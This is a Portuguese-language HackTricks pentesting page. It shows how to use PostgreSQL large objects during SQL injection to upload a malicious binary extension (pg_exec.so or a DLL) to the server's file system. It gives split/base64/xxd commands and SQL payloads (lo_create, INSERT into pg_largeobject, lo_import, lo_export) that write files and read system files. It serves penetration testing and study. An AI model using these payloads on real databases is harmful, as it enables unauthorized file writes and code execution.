hacktricks/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md

7.6 KiB

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Objetos Grandes no PostgreSQL

O PostgreSQL expõe uma estrutura chamada objeto grande (tabela pg_largeobject), que é utilizada para armazenar dados que seriam difíceis de manipular por inteiro (como uma imagem ou um documento PDF). Ao contrário da função COPY TO, a vantagem dos objetos grandes está no fato de que os dados que eles contêm podem ser exportados de volta para o sistema de arquivos como uma cópia idêntica do arquivo original importado.

Para salvar um arquivo completo dentro desta tabela, você primeiro precisa criar um objeto dentro da tabela mencionada (identificado por um LOID) e depois inserir pedaços de 2KB dentro deste objeto. É muito importante que todos os pedaços tenham 2KB (exceto possivelmente o último) ou a função de exportação para o sistema de arquivos não funcionará.

Para dividir seu binário em pedaços de tamanho 2KB, você pode fazer:

split -b 2048 pg_exec.so #This will create files of size 2KB

Para codificar cada um dos arquivos criados em Base64 ou Hex, você pode usar:

base64 -w 0 <Chunk_file> #Encoded in 1 line
xxd -ps -c 99999999999 <Chunk_file> #Encoded in 1 line

{% hint style="info" %} Ao explorar isso, lembre-se de que você deve enviar pedaços de 2KB de bytes em texto claro (não 2KB de bytes codificados em base64 ou hex). Se tentar automatizar isso, o tamanho de um arquivo codificado em hex é o dobro (então você precisa enviar 4KB de dados codificados para cada pedaço) e o tamanho de um arquivo codificado em base64 é ceil(n / 3) * 4 {% endhint %}

Também, ao depurar o processo, você pode ver o conteúdo dos grandes objetos criados com:

select loid, pageno, encode(data, 'escape') from pg_largeobject;

Usando lo_creat & Base64

Primeiro, precisamos criar um LOID onde os dados binários serão salvos:

SELECT lo_creat(-1);       -- returns OID of new, empty large object
SELECT lo_create(173454);   -- attempts to create large object with OID 43213

Se você estiver explorando uma Blind SQLinjection, terá mais interesse em usar lo_create com um LOID fixo para saber onde deve fazer upload do conteúdo.
Observe também que não há erro de sintaxe, as funções são lo_creat e lo_create.

LOID é usado para identificar o objeto na tabela pg_largeobject. A inserção de pedaços de tamanho 2KB na tabela pg_largeobject pode ser realizada usando:

INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 1, decode('<B64 chunk2>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 3, decode('<B64 chunk2>', 'base64'));

Finalmente, você pode exportar o arquivo para o sistema de arquivos executando (durante este exemplo, o LOID usado foi 173454):

SELECT lo_export(173454, '/tmp/pg_exec.so');

{% hint style="info" %} Observe que nas versões mais recentes do postgres você pode precisar carregar as extensões sem indicar nenhum caminho. Leia isto para mais informações. {% endhint %}

Você possivelmente estará interessado em deletar o objeto grande criado após exportá-lo:

SELECT lo_unlink(173454);  -- deletes large object with OID 173454

Usando lo_import & Hex

Neste cenário, lo_import será usado para criar um objeto de grande porte. Felizmente, neste caso, você pode (e não pode) especificar o LOID que gostaria de usar:

select lo_import('C:\\Windows\\System32\\drivers\\etc\\hosts');
select lo_import('C:\\Windows\\System32\\drivers\\etc\\hosts', 173454);

Após criar o objeto, você pode começar a inserir os dados em cada página (lembre-se, você deve inserir pedaços de 2KB):

update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=2;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=3;

O HEX deve ser apenas o hex (sem 0x ou \x), exemplo:

update pg_largeobject set data=decode('68656c6c6f', 'hex') where loid=173454 and pageno=0;

Finalmente, exporte os dados para um arquivo e delete o large object:

select lo_export(173454, 'C:\\path\to\pg_extension.dll');
select lo_unlink(173454);  -- deletes large object with OID 173454

{% hint style="info" %} Observe que nas versões mais recentes do postgres você pode precisar fazer o upload das extensões sem indicar nenhum caminho. Leia isto para mais informações. {% endhint %}

Limitações

Após ler a documentação sobre objetos grandes no PostgreSQL, podemos descobrir que objetos grandes podem ter ACL (Lista de Controle de Acesso). É possível configurar novos objetos grandes de modo que seu usuário não tenha privilégios suficientes para lê-los, mesmo que tenham sido criados pelo seu usuário.

No entanto, pode haver objetos antigos com uma ACL que permite ao usuário atual lê-los, então podemos exfiltrar o conteúdo desse objeto.

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: